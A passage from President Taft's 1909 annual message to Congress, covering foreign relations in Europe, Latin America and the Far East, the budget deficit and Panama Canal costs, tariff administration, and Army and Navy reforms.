problems, and hence\nthe Commission was sent.The report of our commissioners has just been completed and is now under\nexamination by the Department of State. It is hoped that there may result\nsome helpful measures, in which case it may be my duty again to invite your\nattention to this subject.The Norwegian Government, by a note addressed on January 26, 1909, to the\nDepartment of State, conveyed an invitation to the Government of the United\nStates to take part in a conference which it is understood will be held in\nFebruary or March, 1910, for the purpose of devising means to remedy\nexisting conditions in the Spitzbergen Islands.This invitation was conveyed under the reservation that the question of\naltering the status of the islands as countries belonging to no particular\nState, and as equally open to the citizens and subjects of all States,\nshould not be raised.The European Powers invited to this Conference by the Government of Norway\nwere Belgium, Denmark, France, Germany, Great Britain, Russia, Sweden and\nthe Netherlands.The Department of State, in view of proofs filed with it in 1906, showing\nthe American possession, occupation, and working of certain coal-bearing\nlands in Spitzbergen, accepted the invitation under the reservation above\nstated, and under the further reservation that all interests in those\nislands already vested should be protected and that there should be\nequality of opportunity for the future. It was further pointed out that\nmembership in the Conference on the part of the United States was qualified\nby the consideration that this Government would not become a signatory to\nany conventional arrangement concluded by the European members of the\nConference which would imply contributory participation by the United\nStates in any obligation or responsibility for the enforcement of any\nscheme of administration which might be devised by the Conference for the\nislands.THE NEAR EAST.His Majesty Mehmed V, Sultan of Turkey, recently sent to this country a\nspecial embassy to announce his accession. The quick transition of the\nGovernment of the Ottoman Empire from one of retrograde tendencies to a\nconstitutional government with a Parliament and with progressive modern\npolicies of reform and public improvement is one of the important phenomena\nof our times. Constitutional government seems also to have made further\nadvance in Persia. These events have turned the eyes of the world upon the\nNear East. In that quarter the prestige of the United States has spread\nwidely through the peaceful influence of American schools, universities and\nmissionaries. There is every reason why we should obtain a greater share of\nthe commerce of the Near East since the conditions are more favorable now\nthan ever before.LATIN AMERICA.One of the happiest events in recent Pan-American diplomacy was the\npacific, independent settlement by the Governments of Bolivia and Peru of a\nboundary difference between them, which for some weeks threatened to cause\nwar and even to entrain embitterments affecting other republics less\ndirectly concerned. From various quarters, directly or indirectly\nconcerned, the intermediation of the United States was sought to assist in\na solution of the controversy. Desiring at all times to abstain from any\nundue mingling in the affairs of sister republics and having faith in the\nability of the Governments of Peru and Bolivia themselves to settle their\ndifferences in a manner satisfactory to themselves which, viewed with\nmagnanimity, would assuage all embitterment, this Government steadily\nabstained from being drawn into the controversy and was much gratified to\nfind its confidence justified by events.On the 9th of July next there will open at Buenos Aires the Fourth\nPan-American Conference. This conference will have a special meaning to the\nhearts of all Americans, because around its date are clustered the\nanniversaries of the independence of so many of the American republics. It\nis not necessary for me to remind the Congress of the political, social and\ncommercial importance of these gatherings. You are asked to make liberal\nappropriation for our participation. If this be granted, it is my purpose\nto appoint a distinguished and representative delegation, qualified\nfittingly to represent this country and to deal with the problems of\nintercontinental interest which will there be discussed.The Argentine Republic will also hold from May to November, 1910, at Buenos\nAires, a great International Agricultural Exhibition in which the United\nStates has been invited to participate. Considering the rapid growth of the\ntrade of the United States with the Argentine Republic and the cordial\nrelations existing between the two nations, together with the fact that it\nprovides an opportunity to show deference to a sister republic on the\noccasion of the celebration of its national independence, the proper\nDepartments of this Government are taking steps to apprise the interests\nconcerned of the opportunity afforded by this Exhibition, in which\nappropriate participation by this country is so desirable. The designation\nof an official representative is also receiving consideration.To-day, more than ever before, American capital is seeking investment in\nforeign countries, and American products are more and more generally\nseeking foreign markets. As a consequence, in all countries there are\nAmerican citizens and American interests to be protected, on occasion, by\ntheir Government. These movements of men, of capital, and of commodities\nbring peoples and governments closer together and so form bonds of peace\nand mutual dependency, as they must also naturally sometimes make passing\npoints of friction. The resultant situation inevitably imposes upon this\nGovernment vastly increased responsibilities. This Administration, through\nthe Department of State and the foreign service, is lending all proper\nsupport to legitimate and beneficial American enterprises in foreign\ncountries, the degree of such support being measured by the national\nadvantages to be expected. A citizen himself can not by contract or\notherwise divest himself of the right, nor can this Government escape the\nobligation, of his protection in his personal and property rights when\nthese are unjustly infringed in a foreign country. To avoid ceaseless\nvexations it is proper that in considering whether American enterprise\nshould be encouraged or supported in a particular country, the Government\nshould give full weight not only to the national, as opposed to the\nindividual benefits to accrue, but also to the fact whether or not the\nGovernment of the country in question is in its administration and in its\ndiplomacy faithful to the principles of moderation, equity and justice upon\nwhich alone depend international credit, in diplomacy as well as in\nfinance.The Pan-American policy of this Government has long been fixed in its\nprinciples and remains unchanged. With the changed circumstances of the\nUnited States and of the Republics to the south of us, most of which have\ngreat natural resources, stable government and progressive ideals, the\napprehension which gave rise to the Monroe Doctrine may be said to have\nnearly disappeared, and neither the doctrine as it exists nor any other\ndoctrine of American policy should be permitted to operate for the\nperpetuation of irresponsible government, the escape of just obligations,\nor the insidious allegation of dominating ambitions on the part of the\nUnited States.Beside the fundamental doctrines of our Pan-American policy there have\ngrown up a realization of political interests, community of institutions\nand ideals, and a flourishing commerce. All these bonds will be greatly\nstrengthened as time goes on and increased facilities, such as the great\nbank soon to be established in Latin America, supply the means for building\nup the colossal intercontinental commerce of the future.My meeting with President Diaz and the greeting exchanged on both American\nand Mexican soil served, I hope, to signalize the close and cordial\nrelations which so well bind together this Republic and the great Republic\nimmediately to the south, between which there is so vast a network of\nmaterial interests.I am happy to say that all but one of the cases which for so long vexed our\nrelations with Venezuela have been settled within the past few months and\nthat, under the enlightened regime now directing the Government of\nVenezuela, provision has been made for arbitration of the remaining case\nbefore The Hague Tribunal. On July 30, 1909, the Government of Panama\nagreed, after considerable negotiation, to indemnify the relatives of the\nAmerican officers and sailors who were brutally treated, one of them\nhaving, indeed, been killed by the Panaman police this year.The sincere desire of the Government of Panama to do away with a situation\nwhere such an accident could occur is manifest in the recent request in\ncompliance with which this Government has lent the services of an officer\nof the Army to be employed by the Government of Panama as Instructor of\nPolice.The sanitary improvements and public works undertaken in Cuba prior to the\npresent administration of that Government, in the success of which the\nUnited States is interested under the treaty, are reported to be making\ngood progress and since the Congress provided for the continuance of the\nreciprocal commercial arrangement between Cuba and the United States\nassurance has been received that no negotiations injuriously affecting the\nsituation will be undertaken without consultation. The collection of the\ncustoms of the Dominican Republic through the general receiver of customs\nappointed by the President of the United States in accordance with the\nconvention of February 8, 1907, has proceeded in an uneventful and\nsatisfactory manner. The customs receipts have decreased owing to disturbed\npolitical and economic conditions and to a very natural curtailment of\nimports in view of the anticipated revision of the Dominican tariff\nschedule. The payments to the fiscal agency fund for the service of the\nbonded debt of the Republic, as provided by the convention, have been\nregularly and promptly made, and satisfactory progress has been made in\ncarrying out the provisions of the convention looking towards the\ncompletion of the adjustment of the debt and the acquirement by the\nDominican Government of certain concessions and monopolies which have been\na burden to the commerce of the country. In short, the receivership has\ndemonstrated its ability, even under unfavorable economic and political\nconditions, to do the work for which it was intended.This Government was obliged to intervene diplomatically to bring about\narbitration or settlement of the claim of the Emery Company against\nNicaragua, which it had long before been agreed should be arbitrated. A\nsettlement of this troublesome case was reached by the signature of a\nprotocol on September 18, 1909.Many years ago diplomatic intervention became necessary to the protection\nof the interests in the American claim of Alsop and Company against the\nGovernment of Chile. The Government of Chile had frequently admitted\nobligation in the case and had promised this Government to settle. There\nhad been two abortive attempts to do so through arbitral commissions, which\nfailed through lack of jurisdiction. Now, happily, as the result of the\nrecent diplomatic negotiations, the Governments of the United States and of\nChile, actuated by the sincere desire to free from any strain those cordial\nand friendly relations upon which both set such store, have agreed by a\nprotocol to submit the controversy to definitive settlement by His\nBritannic Majesty, Edward VII.Since the Washington Conventions of 1907 were communicated to the\nGovernment of the United States as a consulting and advising party, this\nGovernment has been almost continuously called upon by one or another, and\nin turn by all the five Central American Republics, to exert itself for the\nmaintenance of the Conventions. Nearly every complaint has been against the\nZelaya Government of Nicaragua, which has kept Central America in constant\ntension or turmoil. The responses made to the representations of Central\nAmerican Republics, as due from the United States on account of its\nrelation to the Washington Conventions, have been at all times conservative\nand have avoided, so far as possible, any semblance of interference,\nalthough it is very apparent that the considerations of geographic\nproximity to the Canal Zone and of the very substantial American interests\nin Central America give to the United States a special position in the zone\nof these Republics and the Caribbean Sea.I need not rehearse here the patient efforts of this Government to promote\npeace and welfare among these Republics, efforts which are fully\nappreciated by the majority of them who are loyal to their true interests.\nIt would be no less unnecessary to rehearse here the sad tale of\nunspeakable barbarities and oppression alleged to have been committed by\nthe Zelaya Government. Recently two Americans were put to death by order of\nPresident Zelaya himself. They were reported to have been regularly\ncommissioned officers in the organized forces of a revolution which had\ncontinued many weeks and was in control of about half of the Republic, and\nas such, according to the modern enlightened practice of civilized nations,\nthey were entitled to be dealt with as prisoners of war.At the date when this message is printed this Government has terminated\ndiplomatic relations with the Zelaya Government, for reasons made public in\na communication to the former Nicaraguan charge d'affaires, and is\nintending to take such future steps as may be found most consistent with\nits dignity, its duty to American interests, and its moral obligations to\nCentral America and to civilization. It may later be necessary for me to\nbring this subject to the attention of the Congress in a special message.The International Bureau of American Republics has carried on an important\nand increasing work during the last year. In the exercise of its peculiar\nfunctions as an international agency, maintained by all the American\nRepublics for the development of Pan-American commerce and friendship, it\nhas accomplished a great practical good which could be done in the same way\nby no individual department or bureau of one government, and is therefore\ndeserving of your liberal support. The fact that it is about to enter a new\nbuilding, erected through the munificence of an American philanthropist and\nthe contributions of all the American nations, where both its efficiency of\nadministration and expense of maintenance will naturally be much augmented,\nfurther entitles it to special consideration.THE FAR EAST.In the Far East this Government preserves unchanged its policy of\nsupporting the principle of equality of opportunity and scrupulous respect\nfor the integrity of the Chinese Empire, to which policy are pledged the\ninterested Powers of both East and West.By the Treaty of 1903 China has undertaken the abolition of likin with a\nmoderate and proportionate raising of the customs tariff along with\ncurrency reform. These reforms being of manifest advantage to foreign\ncommerce as well as to the interests of China, this Government is\nendeavoring to facilitate these measures and the needful acquiescence of\nthe treaty Powers. When it appeared that Chinese likin revenues were to be\nhypothecated to foreign bankers in connection with a great railway project,\nit was obvious that the Governments whose nationals held this loan would\nhave a certain direct interest in the question of the carrying out by China\nof the reforms in question. Because this railroad loan represented a\npractical and real application of the open door policy through cooperation\nwith China by interested Powers as well as because of its relations to the\nreforms referred to above, the Administration deemed American participation\nto be of great national interest. Happily, when it was as a matter of broad\npolicy urgent that this opportunity should not be lost, the indispensable\ninstrumentality presented itself when a group of American bankers, of\ninternational reputation and great resources, agreed at once to share in\nthe loan upon precisely such terms as this Government should approve. The\nchief of those terms was that American railway material should be upon an\nexact equality with that of the other nationals joining in the loan in the\nplacing of orders for this whole railroad system. After months of\nnegotiation the equal participation of Americans seems at last assured. It\nis gratifying that Americans will thus take their share in this extension\nof these great highways of trade, and to believe that such activities will\ngive a real impetus to our commerce and will prove a practical corollary to\nour historic policy in the Far East.The Imperial Chinese Government in pursuance of its decision to devote\nfunds from the portion of the indemnity remitted by the United States to\nthe sending of students to this country has already completed arrangements\nfor carrying out this purpose, and a considerable body of students have\narrived to take up their work in our schools and universities. No one can\ndoubt the happy effect that the associations formed by these representative\nyoung men will have when they return to take up their work in the\nprogressive development of their country.The results of the Opium Conference held at Shanghai last spring at the\ninvitation of the United States have been laid before the Government. The\nreport shows that China is making remarkable progress and admirable efforts\ntoward the eradication of the opium evil and that the Governments concerned\nhave not allowed their commercial interests to interfere with a helpful\ncooperation in this reform. Collateral investigations of the opium question\nin this country lead me to recommend that the manufacture, sale and use of\nopium and its derivatives in the United States should be so far as possible\nmore rigorously controlled by legislation.In one of the Chinese-Japanese Conventions of September 4 of this year\nthere was a provision which caused considerable public apprehension in that\nupon its face it was believed in some quarters to seek to establish a\nmonopoly of mining privileges along the South Manchurian and Antung-Mukden\nRailroads, and thus to exclude Americans from a wide field of enterprise,\nto take part in which they were by treaty with China entitled. After a\nthorough examination of the Conventions and of the several contextual\ndocuments, the Secretary of State reached the conclusion that no such\nmonopoly was intended or accomplished. However, in view of the widespread\ndiscussion of this question, to confirm the view it had reached, this\nGovernment made inquiry of the Imperial Chinese and Japanese Governments\nand received from each official assurance that the provision had no purpose\ninconsistent with the policy of equality of opportunity to which the\nsignatories, in common with the United States, are pledged.Our traditional relations with the Japanese Empire continue cordial as\nusual. As the representative of Japan, His Imperial Highness Prince Kuni\nvisited the Hudson-Fulton Celebration. The recent visit of a delegation of\nprominent business men as guests of the chambers of commerce of the Pacific\nslope, whose representatives had been so agreeably received in Japan, will\ndoubtless contribute to the growing trade across the Pacific, as well as to\nthat mutual understanding which leads to mutual appreciation. The\narrangement of 1908 for a cooperative control of the coming of laborers to\nthe United States has proved to work satisfactorily. The matter of a\nrevision of the existing treaty between the United States and Japan which\nis terminable in 1912 is already receiving the study of both countries.The Department of State is considering the revision in whole or in part, of\nthe existing treaty with Siam, which was concluded in 1856, and is now, in\nrespect to many of its provisions, out of date.THE DEPARTMENT OF STATE.I earnestly recommend to the favorable action of the Congress the estimates\nsubmitted by the Department of State and most especially the legislation\nsuggested in the Secretary of State's letter of this date whereby it will\nbe possible to develop and make permanent the reorganization of the\nDepartment upon modern lines in a manner to make it a thoroughly efficient\ninstrument in the furtherance of our foreign trade and of American\ninterests abroad. The plan to have Divisions of Latin-American and Far\nEastern Affairs and to institute a certain specialization in business with\nEurope and the Near East will at once commend itself. These\npolitico-geographical divisions and the detail from the diplomatic or\nconsular service to the Department of a number of men, who bring to the\nstudy of complicated problems in different parts of the world practical\nknowledge recently gained on the spot, clearly is of the greatest advantage\nto the Secretary of State in foreseeing conditions likely to arise and in\nconducting the great variety of correspondence and negotiation. It should\nbe remembered that such facilities exist in the foreign offices of all the\nleading commercial nations and that to deny them to the Secretary of State\nwould be to place this Government at a great disadvantage in the rivalry of\ncommercial competition.The consular service has been greatly improved under the law of April 5,\n1906, and the Executive Order of June 27, 1906, and I commend to your\nconsideration the question of embodying in a statute the principles of the\npresent Executive Order upon which the efficiency of our consular service\nis wholly dependent.In modern times political and commercial interests are interrelated, and in\nthe negotiation of commercial treaties, conventions and tariff agreements,\nthe keeping open of opportunities and the proper support of American\nenterprises, our diplomatic service is quite as important as the consular\nservice to the business interests of the country. Impressed with this idea\nand convinced that selection after rigorous examination, promotion for\nmerit solely and the experience only to be gained through the continuity of\nan organized service are indispensable to a high degree of efficiency in\nthe diplomatic service, I have signed an Executive Order as the first step\ntoward this very desirable result. Its effect should be to place all\nsecretaries in the diplomatic service in much the same position as consular\nofficers are now placed and to tend to the promotion of the most efficient\nto the grade of minister, generally leaving for outside appointments such\nposts of the grade of ambassador or minister as it may be expedient to fill\nfrom without the service. It is proposed also to continue the practice\ninstituted last summer of giving to all newly appointed secretaries at\nleast one month's thorough training in the Department of State before they\nproceed to their posts. This has been done for some time in regard to the\nconsular service with excellent results.Under a provision of the Act of August 5, 1909, I have appointed three\nofficials to assist the officers of the Government in collecting\ninformation necessary to a wise administration of the tariff act of August\n5, 1909. As to questions of customs administration they are cooperating\nwith the officials of the Treasury Department and as to matters of the\nneeds and the exigencies of our manufacturers and exporters, with the\nDepartment of Commerce and Labor, in its relation to the domestic aspect of\nthe subject of foreign commerce. In the study of foreign tariff treatment\nthey will assist the Bureau of Trade Relations of the Department of State.\nIt is hoped thus to coordinate and bring to bear upon this most important\nsubject all the agencies of the Government which can contribute anything to\nits efficient handling.As a consequence of Section 2 of the tariff act of August 5, 1909, it\nbecomes the duty of the Secretary of State to conduct as diplomatic\nbusiness all the negotiations necessary to place him in a position to\nadvise me as to whether or not a particular country unduly discriminates\nagainst the United States in the sense of the statute referred to. The\ngreat scope and complexity of this work, as well as the obligation to lend\nall proper aid to our expanding commerce, is met by the expansion of the\nBureau of Trade Relations as set forth in the estimates for the Department\nof State.OTHER DEPARTMENTS.I have thus in some detail described the important transactions of the\nState Department since the beginning of this Administration for the reason\nthat there is no provision either by statute or custom for a formal report\nby the Secretary of State to the President or to Congress, and a\nPresidential message is the only means by which the condition of our\nforeign relations is brought to the attention of Congress and the public.In dealing with the affairs of the other Departments, the heads of which\nall submit annual reports, I shall touch only those matters that seem to me\nto call for special mention on my part without minimizing in any way the\nrecommendations made by them for legislation affecting their respective\nDepartments, in all of which I wish to express my general concurrence.GOVERNMENT EXPENDITURES AND REVENUES.Perhaps the most important question presented to this Administration is\nthat of economy in expenditures and sufficiency of revenue. The deficit of\nthe last fiscal year, and the certain deficit of the current year, prompted\nCongress to throw a greater responsibility on the Executive and the\nSecretary of the Treasury than had heretofore been declared by statute.\nThis declaration imposes upon the Secretary of the Treasury the duty of\nassembling all the estimates of the Executive Departments, bureaus, and\noffices, of the expenditures necessary in the ensuing fiscal year, and of\nmaking an estimate of the revenues of the Government for the same period;\nand if a probable deficit is thus shown, it is made the duty of the\nPresident to recommend the method by which such deficit can be met.The report of the Secretary shows that the ordinary expenditures for the\ncurrent fiscal year ending June 30, 1910, will exceed the estimated\nreceipts by $34,075,620. If to this deficit is added the sum to be\ndisbursed for the Panama Canal, amounting to $38,000,000, and $1,000,000 to\nbe paid on the public debt, the deficit of ordinary receipts and\nexpenditures will be increased to a total deficit of $73,075,620. This\ndeficit the Secretary proposes to meet by the proceeds of bonds issued to\npay the cost of constructing the Panama Canal. I approve this proposal.The policy of paying for the construction of the Panama Canal, not out of\ncurrent revenue, but by bond issues, was adopted in the Spooner Act of\n1902, and there seems to be no good reason for departing from the principle\nby which a part at least of the burden of the cost of the canal shall fall\nupon our posterity who are to enjoy it; and there is all the more reason\nfor this view because the actual cost to date of the canal, which is now\nhalf done and which will be completed January 1, 1915, shows that the cost\nof engineering and construction will be $297,766,000, instead of\n$139,705,200, as originally estimated. In addition to engineering and\nconstruction, the other expenses, including sanitation and government, and\nthe amount paid for the properties, the franchise, and the privilege of\nbuilding the canal, increase the cost by $75,435,000, to a total of\n$375,201,000. The increase in the cost of engineering and construction is\ndue to a substantial enlargement of the plan of construction by widening\nthe canal 100 feet in the Culebra cut and by increasing the dimensions of\nthe locks, to the underestimate of the quantity of the work to be done\nunder the original plan, and to an underestimate of the cost of labor and\nmaterials both of which have greatly enhanced in price since the original\nestimate was made.In order to avoid a deficit for the ensuing fiscal year, I directed the\nheads of Departments in the preparation of their estimates to make them as\nlow as possible consistent with imperative governmental necessity. The\nresult has been, as I am advised by the Secretary of the Treasury, that the\nestimates for the expenses of the Government for the next fiscal year\nending June 30, 1911, are less than the appropriations for this current\nfiscal year by $42,818,000. So far as the Secretary of the Treasury is able\nto form a judgment as to future income, and compare it with the\nexpenditures for the next fiscal year ending June 30, 1911, and excluding\npayments on account of the Panama Canal, which will doubtless be taken up\nby bonds, there will be a surplus of $35,931,000.In the present estimates the needs of the Departments and of the Government\nhave been cut to the quick, so to speak, and any assumption on the part of\nCongress, so often made in times past, that the estimates have been\nprepared with the expectation that they may be reduced, will result in\nseriously hampering proper administration.The Secretary of the Treasury points out what should be carefully noted in\nrespect to this reduction in governmental expenses for the next fiscal\nyear, that the economies are of two kinds--first, there is a saving in the\npermanent administration of the Departments, bureaus, and offices of the\nGovernment; and, second, there is a present reduction in expenses by a\npostponement of projects and improvements that ultimately will have to be\ncarried out but which are now delayed with the hope that additional revenue\nin the future will permit their execution without producing a deficit.It has been impossible in the preparation of estimates greatly to reduce\nthe cost of permanent administration. This can not be done without a\nthorough reorganization of bureaus, offices, and departments. For the\npurpose of securing information which may enable the executive and the\nlegislative branches to unite in a plan for the permanent reduction of the\ncost of governmental administration, the Treasury Department has instituted\nan investigation by one of the most skilled expert accountants in the\nUnited States. The result of his work in two or three bureaus, which, if\nextended to the entire Government, must occupy two or more years, has been\nto show much room for improvement and opportunity for substantial\nreductions in the cost and increased efficiency of administration. The\nobject of the investigation is to devise means to increase the average\nefficiency of each employee. There is great room for improvement toward\nthis end, not only by the reorganization of bureaus and departments and in\nthe avoidance of duplication, but also in the treatment of the individual\nemployee.Under the present system it constantly happens that two employees receive\nthe same salary when the work of one is far more difficult and important\nand exacting than that of the other. Superior ability is not rewarded or\nencouraged. As the classification is now entirely by salary, an employee\noften rises to the highest class while doing the easiest work, for which\nalone he may be fitted. An investigation ordered by my predecessor resulted\nin the recommendation that the civil service he reclassified according to\nthe kind of work, so that the work requiring most application and knowledge\nand ability shall receive most compensation. I believe such a change would\nbe fairer to the whole force and would permanently improve the personnel of\nthe service.More than this, every reform directed toward the improvement in the average\nefficiency of government employees must depend on the ability of the\nExecutive to eliminate from the government service those who are\ninefficient from any cause, and as the degree of efficiency in all the\nDepartments is much lessened by the retention of old employees who have\noutlived their energy and usefulness, it is indispensable to any proper\nsystem of economy that provision be made so that their separation from the\nservice shall be easy and inevitable. It is impossible to make such\nprovision unless there is adopted a plan of civil pensions. Most of the\ngreat industrial organizations, and many of the well-conducted railways of\nthis country, are coming to the conclusion that a system of pensions for\nold employees, and the substitution therefor of younger and more energetic\nservants, promotes both economy and efficiency of administration.I am aware that there is a strong feeling in both Houses of Congress, and\npossibly in the country, against the establishment of civil pensions, and\nthat this has naturally grown out of the heavy burden of military pensions,\nwhich it has always been the policy of our Government to assume; but I am\nstrongly convinced that no other practical solution of the difficulties\npresented by the superannuation of civil servants can be found than that of\na system of civil pensions.The business and expenditures of the Government have expanded enormously\nsince the Spanish war, but as the revenues have increased in nearly the\nsame proportion as the expenditures until recently, the attention of the\npublic, and of those responsible for the Government, has not been fastened\nupon the question of reducing the cost of administration. We can not, in\nview of the advancing prices of living, hope to save money by a reduction\nin the standard of salaries paid. Indeed, if any change is made in that\nregard, an increase rather than a decrease will be necessary; and the only\nmeans of economy will be in reducing the number of employees and in\nobtaining a greater average of efficiency from those retained in the\nservice.Close investigation and study needed to make definite recommendations in\nthis regard will consume at least two years. I note with much satisfaction\nthe organization in the Senate of a Committee on Public Expenditures,\ncharged with the duty of conducting such an investigation, and I tender to\nthat committee all the assistance which the executive branch of the\nGovernment can possibly render.FRAUDS IN THE COLLECTION OF CUSTOMS.I regret to refer to the fact of the discovery of extensive frauds in the\ncollections of the customs revenue at New York City, in which a number of\nthe subordinate employees in the weighing and other departments were\ndirectly concerned, and in which the beneficiaries were the American Sugar\nRefining Company and others. The frauds consisted in the payment of duty on\nunderweights of sugar. The Government has recovered from the American Sugar\nRefining Company all that it is shown to have been defrauded of. The sum\nwas received in full of the amount due, which might have been recovered by\ncivil suit against the beneficiary of the fraud, but there was an express\nreservation in the contract of settlement by which the settlement should\nnot interfere with, or prevent the criminal prosecution of everyone who was\nfound to be subject to the same.Criminal prosecutions are now proceeding against a number of the Government\nofficers. The Treasury Department and the Department of Justice are\nexerting every effort to discover all the wrongdoers, including the\nofficers and employees of the companies who may have been privy to the\nfraud. It would seem to me that an investigation of the frauds by Congress\nat present, pending the probing by the Treasury Department and the\nDepartment of Justice, as proposed, might by giving immunity and otherwise\nprove an embarrassment in securing conviction of the guilty parties.MAXIMUM AND MINIMUM CLAUSE IN TARIFF ACT.Two features of the new tariff act call for special reference. By virtue of\nthe clause known as the \"Maximum and Minimum\" clause, it is the duty of the\nExecutive to consider the laws and practices of other countries with\nreference to the importation into those countries of the products and\nmerchandise of the United States, and if the Executive finds such laws and\npractices not to be unduly discriminatory against the United States, the\nminimum duties provided in the bill are to go into force.Unless the President makes such a finding, then the maximum duties provided\nin the bill, that is, an increase of twenty-five per cent. ad valorem over\nthe minimum duties, are to be in force. Fear has been expressed that this\npower conferred and duty imposed on the Executive is likely to lead to a\ntariff war. I beg to express the hope and belief that no such result need\nbe anticipated.The discretion granted to the Executive by the terms \"unduly\ndiscriminatory\" is wide. In order that the maximum duty shall be charged\nagainst the imports from a country, it is necessary that he shall find on\nthe part of that country not only discriminations in its laws or the\npractice under them against the trade of the United States, but that the\ndiscriminations found shall be undue; that is, without good and fair\nreason. I conceive that this power was reposed in the President with the\nhope that the maximum duties might never be applied in any case, but that\nthe power to apply them would enable the President and the State Department\nthrough friendly negotiation to secure the elimination from the laws and\nthe practice under them of any foreign country of that which is unduly\ndiscriminatory. No one is seeking a tariff war or a condition in which the\nspirit of retaliation shall be aroused.USES OF THE NEW TARIFF BOARD.The new tariff law enables me to appoint a tariff board to assist me in\nconnection with the Department of State in the administration of the\nminimum and maximum clause of the act and also to assist officers of the\nGovernment in the administration of the entire law. An examination of the\nlaw and an understanding of the nature of the facts which should be\nconsidered in discharging the functions imposed upon the Executive show\nthat I have the power to direct the tariff board to make a comprehensive\nglossary and encyclopedia of the terms used and articles embraced in the\ntariff law, and to secure information as to the cost of production of such\ngoods in this country and the cost of their production in foreign\ncountries. I have therefore appointed a tariff board consisting of three\nmembers and have directed them to perform all the duties above described.\nThis work will perhaps take two or three years, and I ask from Congress a\ncontinuing annual appropriation equal to that already made for its\nprosecution. I believe that the work of this board will be of prime utility\nand importance whenever Congress shall deem it wise again to readjust the\ncustoms duties. If the facts secured by the tariff board are of such a\ncharacter as to show generally that the rates of duties imposed by the\npresent tariff law are excessive under the principles of protection as\ndescribed in the platform of the successful party at the late election, I\nshall not hesitate to invite the attention of Congress to this fact and to\nthe necessity for action predicated thereon. Nothing, however, halts\nbusiness and interferes with the course of prosperity so much as the\nthreatened revision of the tariff, and until the facts are at hand, after\ncareful and deliberate investigation, upon which such revision can properly\nbe undertaken, it seems to me unwise to attempt it. The amount of\nmisinformation that creeps into arguments pro and con in respect to tariff\nrates is such as to require the kind of investigation that I have directed\nthe tariff board to make, an investigation undertaken by it wholly without\nrespect to the effect which the facts may have in calling for a\nreadjustment of the rates of duty.WAR DEPARTMENT.In the interest of immediate economy and because of the prospect of a\ndeficit, I have required a reduction in the estimates of the War Department\nfor the coming fiscal year, which brings the total estimates down to an\namount forty-five millions less than the corresponding estimates for last\nyear. This could only be accomplished by cutting off new projects and\nsuspending for the period of one year all progress in military matters. For\nthe same reason I have directed that the Army shall not be recruited up to\nits present authorized strength. These measures can hardly be more than\ntemporary--to last until our revenues are in better condition and until the\nwhole question of the expediency of adopting a definite military policy can\nbe submitted to Congress, for I am sure that the interests of the military\nestablishment are seriously in need of careful consideration by Congress.\nThe laws regulating the organization of our armed forces in the event of\nwar need to be revised in order that the organization can be modified so as\nto produce a force which would be more consistently apportioned throughout\nits numerous branches. To explain the circumstances upon which this opinion\nis based would necessitate a lengthy discussion, and I postpone it until\nthe first convenient opportunity shall arise to send to Congress a special\nmessage upon this subject.The Secretary of War calls attention to a number of needed changes in the\nArmy in all of which I concur, but the point upon which I place most\nemphasis is the need for an elimination bill providing a method by which\nthe merits of officers shall have some effect upon their advancement and by\nwhich the advancement of all may be accelerated by the effective\nelimination of a definite proportion of the least efficient. There are in\nevery army, and certainly in ours, a number of officers who do not violate\ntheir duty in any such way as to give reason for a court-martial or\ndismissal, but who do not show such aptitude and skill and character for\nhigh command as to justify their remaining in the active service to be\nPromoted. Provision should be made by which they may be retired on a\ncertain proportion of their pay, increasing with their length of service at\nthe time of retirement. There is now a personnel law for the Navy which\nitself needs amendment and to which I shall make further reference. Such a\nlaw is needed quite as much for the Army.The coast defenses of the United States proper are generally all that could\nbe desired, and in some respects they are rather more elaborate than under\npresent conditions are needed to stop an enemy's fleet from entering the\nharbors defended. There is, however, one place where additional defense is\nbadly needed, and that is at the mouth of Chesapeake Bay, where it is\nproposed to make an artificial island for a fort which shall prevent an\nenemy's fleet from entering this most important strategical base of\noperations on the whole Atlantic and Gulf coasts. I hope that appropriate\nlegislation will be adopted to secure the construction of this defense.The military and naval joint board have unanimously agreed that it would be\nunwise to make the large expenditures which at one time were contemplated\nin the establishment of a naval base and station in the Philippine Islands,\nand have expressed their judgment, in which I fully concur, in favor of\nmaking an extensive naval base at Pearl Harbor, near Honolulu, and not in\nthe Philippines. This does not dispense with the necessity for the\ncomparatively small appropriations required to finish the proper coast\ndefenses in the Philippines now under construction on the island of\nCorregidor and elsewhere or to complete a suitable repair station and\ncoaling supply station at Olongapo, where is the floating dock \"Dewey.\" I\nhope that this recommendation of the joint board will end the discussion as\nto the comparative merits of Manila Bay and Olongapo as naval stations, and\nwill lead to prompt measures for the proper equipment and defense of Pearl\nHarbor.THE NAVY.The return of the battle-ship fleet from its voyage around the world, in\nmore efficient condition than when it started, was a noteworthy event of\ninterest alike to our citizens and the naval authorities of the world.\nBesides the beneficial and far-reaching effect on our personal and\ndiplomatic relations in the countries which the fleet visited, the marked\nsuccess of the ships in steaming around the world in all weathers on\nschedule time has increased respect for our Navy and has added to our\nnational prestige.Our enlisted personnel recruited from all sections of the country is young\nand energetic and representative of the national spirit. It is, moreover,\nowing to its intelligence, capable of quick training into the modern\nman-of-warsman. Our officers are earnest and zealous in their profession,\nbut it is a regrettable fact that the higher officers are old for the\nresponsibilities of the modern navy, and the admirals do not arrive at flag\nrank young enough to obtain adequate training in their duties as flag\nofficers. This need for reform in the Navy has been ably and earnestly\npresented to Congress by my predecessor, and I also urgently recommend the\nsubject for consideration.Early in the coming session a comprehensive plan for the reorganization of\nthe officers of all corps of the Navy will be presented to Congress, and I\nhope it will meet with action suited to its urgency.Owing to the necessity for economy in expenditures, I have directed the\ncurtailment of recommendations for naval appropriations so that they are\nthirty-eight millions less than the corresponding estimates of last year,\nand the request for new naval construction is limited to two first-class\nbattle ships and one repair vessel.The use of a navy is for military purposes, and there has been found need\nin the Department of a military branch dealing directly with the military\nuse of the fleet. The Secretary of the Navy has also felt the lack of\nresponsible advisers to aid him in reaching conclusions and deciding\nimportant matters between coordinate branches of the Department. To secure\nthese results he has inaugurated a tentative plan involving certain changes\nin the organization of the Navy Department, including the navy-yards, all\nof which have been found by the Attorney-General to be in accordance with\nlaw. I have approved the execution of the plan proposed because of the\ngreater efficiency and economy it promises.The generosity of Congress has provided in the present Naval Observatory\nthe most magnificent and expensive astronomical establishment in the world.\nIt is being used for certain naval purposes which might easily and\nadequately be subserved by a small division connected with the Naval\nDepartment at only a fraction of the cost of the present Naval Observatory.\nThe official Board of Visitors established by Congress and appointed in\n1901 expressed its conclusion that the official head of the observatory\nshould be an eminent astronomer appointed by the President by and with the\nadvice and consent of the Senate, holding his place by a tenure at least as\npermanent as that of the Superintendent of the Coast Survey or the head of\nthe Geological Survey, and not merely by a detail of two or three years'\nduration. I fully concur in this 